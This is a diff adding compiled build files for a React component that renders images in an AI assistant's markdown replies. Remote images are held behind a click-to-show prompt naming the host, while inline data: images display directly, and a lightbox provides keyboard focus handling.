+ * `data:` URLs carry their own bytes and reach no network, so those still render
14
+ * straight away — and that is the shape the transport actually emits for inline
15
+ * images (fe-libs `getAssistantMedia`). Anything else is held behind an explicit
16
+ * click, the same bargain email clients have offered for remote images for
17
+ * twenty years. Unparseable input fails CLOSED.
18
+ */
19
+ export declare function isRemoteImageSrc(src: string): boolean;
20
+ /**
21
+ * Host to name in the "show this?" prompt, so the choice is an informed one.
22
+ *
23
+ * Parsed with NO base URL on purpose. Resolving against `location.href` would
24
+ * make a relative or malformed src inherit OUR hostname, and the prompt would
25
+ * then read "Show image from app.gethealthybowl.com" for something this app does
26
+ * not serve — a prompt that lies is worse than an unnamed one. Absolute http(s)
27
+ * only; everything else falls back to the generic wording.
28
+ */
29
+ export declare function imageHostLabel(src: string): string | null;
30
+ interface Props {
31
+ /** Resolved `src` — already scheme-checked by the renderer's urlTransform. */
32
+ src?: string;
33
+ alt?: string;
34
+ title?: string;
35
+ }
36
+ export declare const AssistantMarkdownImage: FC<Props>;
37
+ export {};
38
+ //# sourceMappingURL=AssistantMarkdownImage.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"AssistantMarkdownImage.d.ts","sourceRoot":"","sources":["../../../../src/shared/assistant/ui/AssistantMarkdownImage.tsx"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;GAuBG;AAEH,OAAO,EAKL,KAAK,EAAE,EAER,MAAM,OAAO,CAAC;AAKf;;;;;;;;;;;;;;;;GAgBG;AACH,wBAAgB,gBAAgB,CAAC,GAAG,EAAE,MAAM,GAAG,OAAO,CAGrD;AAED;;;;;;;;GAQG;AACH,wBAAgB,cAAc,CAAC,GAAG,EAAE,MAAM,GAAG,MAAM,GAAG,IAAI,CASzD;AAED,UAAU,KAAK;IACb,8EAA8E;IAC9E,GAAG,CAAC,EAAE,MAAM,CAAC;IACb,GAAG,CAAC,EAAE,MAAM,CAAC;IACb,KAAK,CAAC,EAAE,MAAM,CAAC;CAChB;AAaD,eAAO,MAAM,sBAAsB,EAAE,EAAE,CAAC,KAAK,CAkR5C,CAAC"}
@@ -0,0 +1,147 @@
1
+ import { useAssistantTr as e } from "../i18n.js";
2
+ import { useCallback as t, useEffect as n, useRef as r, useState as i } from "react";
3
+ import { Eye as a, ImageOff as o, X as s } from "lucide-react";
4
+ import { Fragment as c, jsx as l, jsxs as u } from "react/jsx-runtime";
5
+ import { createPortal as d } from "react-dom";
6
+ //#region src/shared/assistant/ui/AssistantMarkdownImage.tsx
7
+ function f(e) {
8
+ return !/^data:/i.test(e.trim());
9
+ }
10
+ function p(e) {
11
+ try {
12
+ let t = new URL(e.trim());
13
+ return t.protocol === "http:" || t.protocol === "https:" ? t.hostname : null;
14
+ } catch {
15
+ return null;
16
+ }
17
+ }
18
+ var m = [], h = ({ src: h, alt: g, title: _ }) => {
19
+ let v = e(), [y, b] = i(!1), [x, S] = i(!1), [C, w] = i(!1), T = r(null), E = r(null), D = r(null), O = r(null), k = g?.trim() ?? "", A = !!h && f(h) && !C, j = x && !A && !y && !!h;
20
+ n(() => {
21
+ if (!j) return;
22
+ let e = D.current, t = document.body.style.overflow, n = T.current;
23
+ document.body.style.overflow = "hidden", e && m.push(e);
24
+ let r = () => m[m.length - 1] === D.current, i = () => Array.from(D.current?.querySelectorAll("button:not([disabled]), [href], input:not([disabled]), select, textarea, [tabindex]:not([tabindex=\"-1\"])") ?? []), a = () => {
25
+ let e = D.current;
26
+ e && (i()[0] ?? e).focus();
27
+ };
28
+ a();
29
+ let o = (e) => {
30
+ if (!(!r() || e.isComposing)) {
31
+ if (e.key === "Escape") {
32
+ e.stopPropagation(), S(!1);
33
+ return;
34
+ }
35
+ if (e.key === "Tab") {
36
+ e.preventDefault();
37
+ let t = i();
38
+ if (t.length === 0) {
39
+ D.current?.focus();
40
+ return;
41
+ }
42
+ let n = t.indexOf(document.activeElement), r = e.shiftKey ? -1 : 1;
43
+ t[n < 0 ? 0 : (n + r + t.length) % t.length]?.focus();
44
+ }
45
+ }
46
+ }, s = (e) => {
47
+ if (!r()) return;
48
+ let t = D.current;
49
+ t && !t.contains(e.target) && a();
50
+ };
51
+ return document.addEventListener("keydown", o, !0), document.addEventListener("focusin", s), () => {
52
+ document.removeEventListener("keydown", o, !0), document.removeEventListener("focusin", s);
53
+ let r = e ? m.indexOf(e) : -1;
54
+ r >= 0 && m.splice(r, 1), document.body.style.overflow = t, n?.isConnected ? n.focus() : O.current?.focus();
55
+ };
56
+ }, [j]);
57
+ let M = t(() => S(!1), []), N = (e) => {
58
+ e.target === e.currentTarget && M();
59
+ };
60
+ if (h && A && !y) {
61
+ let e = p(h);
62
+ return /* @__PURE__ */ u("button", {
63
+ type: "button",
64
+ onClick: () => w(!0),
65
+ className: "my-2 flex max-w-full items-center gap-2 rounded-lg border border-dashed border-border-default bg-bg-sunken px-3 py-2 text-left text-[0.9em] text-text-secondary transition-colors hover:border-border-strong hover:text-text-primary focus:outline-none focus-visible:ring-2 focus-visible:ring-border-focus",
66
+ "data-testid": "assistant-markdown-image-gated",
67
+ children: [/* @__PURE__ */ l(a, {
68
+ className: "size-4 flex-shrink-0",
69
+ "aria-hidden": "true"
70
+ }), /* @__PURE__ */ u("span", {
71
+ className: "min-w-0",
72
+ children: [/* @__PURE__ */ l("span", {
73
+ className: "block break-words",
74
+ children: e ? v("markdown.showRemoteImageNamed", "Show image from {{host}}", { host: e }) : v("markdown.showRemoteImage", "Show remote image")
75
+ }), k && /* @__PURE__ */ l("span", {
76
+ className: "block truncate text-[0.85em] text-text-muted",
77
+ children: k
78
+ })]
79
+ })]
80
+ });
81
+ }
82
+ return !h || y ? /* @__PURE__ */ u("span", {
83
+ ref: O,
84
+ tabIndex: -1,
85
+ className: "my-2 inline-flex max-w-full items-center gap-2 rounded-lg border border-dashed border-border-default bg-bg-sunken px-3 py-2 text-[0.9em] text-text-muted focus:outline-none focus-visible:ring-2 focus-visible:ring-border-focus",
86
+ "data-testid": "assistant-markdown-image-fallback",
87
+ children: [/* @__PURE__ */ l(o, {
88
+ className: "size-4 flex-shrink-0",
89
+ "aria-hidden": "true"
90
+ }), /* @__PURE__ */ l("span", {
91
+ className: "min-w-0 break-words",
92
+ children: k || v("markdown.imageUnavailable", "Image unavailable")
93
+ })]
94
+ }) : /* @__PURE__ */ u(c, { children: [/* @__PURE__ */ l("button", {
95
+ ref: T,
96
+ type: "button",
97
+ onClick: () => S(!0),
98
+ "aria-label": k ? v("markdown.enlargeImageNamed", "Enlarge image: {{alt}}", { alt: k }) : v("markdown.enlargeImage", "Enlarge image"),
99
+ className: "my-2 block max-w-full cursor-zoom-in overflow-hidden rounded-lg border border-border-subtle bg-bg-sunken focus:outline-none focus-visible:ring-2 focus-visible:ring-border-focus",
100
+ "data-testid": "assistant-markdown-image",
101
+ children: /* @__PURE__ */ l("img", {
102
+ src: h,
103
+ alt: k,
104
+ title: _,
105
+ loading: "lazy",
106
+ decoding: "async",
107
+ referrerPolicy: "no-referrer",
108
+ onError: () => b(!0),
109
+ className: "max-h-64 w-auto max-w-full object-contain"
110
+ })
111
+ }), j && typeof document < "u" && d(/* @__PURE__ */ u("div", {
112
+ ref: D,
113
+ role: "dialog",
114
+ "aria-modal": "true",
115
+ tabIndex: -1,
116
+ "aria-label": k ? v("markdown.imagePreviewNamed", "Image preview: {{alt}}", { alt: k }) : v("markdown.imagePreview", "Image preview"),
117
+ onClick: N,
118
+ className: "fixed inset-0 z-50 flex items-center justify-center bg-bg-canvas/95 p-6 backdrop-blur-sm focus:outline-none motion-safe:transition-opacity",
119
+ "data-testid": "assistant-markdown-image-lightbox",
120
+ children: [/* @__PURE__ */ l("button", {
121
+ ref: E,
122
+ type: "button",
123
+ onClick: M,
124
+ "aria-label": v("markdown.closePreview", "Close image preview"),
125
+ className: "absolute right-4 top-4 flex size-9 items-center justify-center rounded-full border border-border-subtle bg-bg-surface text-text-secondary transition-colors hover:text-text-primary focus:outline-none focus-visible:ring-2 focus-visible:ring-border-focus",
126
+ "data-testid": "assistant-markdown-image-close",
127
+ children: /* @__PURE__ */ l(s, { className: "size-4" })
128
+ }), /* @__PURE__ */ u("figure", {
129
+ className: "flex max-h-full min-w-0 flex-col items-center gap-2",
130
+ children: [/* @__PURE__ */ l("img", {
131
+ src: h,
132
+ alt: k,
133
+ referrerPolicy: "no-referrer",
134
+ onError: () => {
135
+ b(!0), M();
136
+ },
137
+ className: "max-h-[80vh] max-w-full rounded-lg object-contain",
138
+ "data-testid": "assistant-markdown-image-full"
139
+ }), k && /* @__PURE__ */ l("figcaption", {
140
+ className: "max-w-xl text-center text-xs text-text-secondary",
141
+ children: k
142
+ })]
143
+ })]
144
+ }), document.body)] });
145
+ };
146
+ //#endregion
147
+ export { h as AssistantMarkdownImage, p as imageHostLabel, f as isRemoteImageSrc };
@@ -0,0 +1,10 @@
1
+ import { FC } from 'react';
2
+ import { Options } from 'react-markdown';
3
+ interface Props {
4
+ content: string;
5
+ }
6
+ /** @internal Exported for unit tests; not part of the module's public surface. */
7
+ export declare const assistantUrlTransform: Options["urlTransform"];
8
+ export declare const AssistantMarkdownRenderer: FC<Props>;
9
+ export {};
10
+ //# sourceMappingURL=AssistantMarkdownRenderer.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"AssistantMarkdownRenderer.d.ts","sourceRoot":"","sources":["../../../../src/shared/assistant/ui/AssistantMarkdownRenderer.tsx"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAkCG;AAEH,OAAO,EAAY,KAAK,EAAE,EAAkB,MAAM,OAAO,CAAC;AAC1D,OAAiB,EAIf,KAAK,OAAO,EACb,MAAM,gBAAgB,CAAC;AAQxB,UAAU,KAAK;IACb,OAAO,EAAE,MAAM,CAAC;CACjB;AAqDD,kFAAkF;AAClF,eAAO,MAAM,qBAAqB,EAAE,OAAO,CAAC,cAAc,CAWzD,CAAC;AAkQF,eAAO,MAAM,yBAAyB,EAAE,EAAE,CAAC,KAAK,CAiB/C,CAAC"}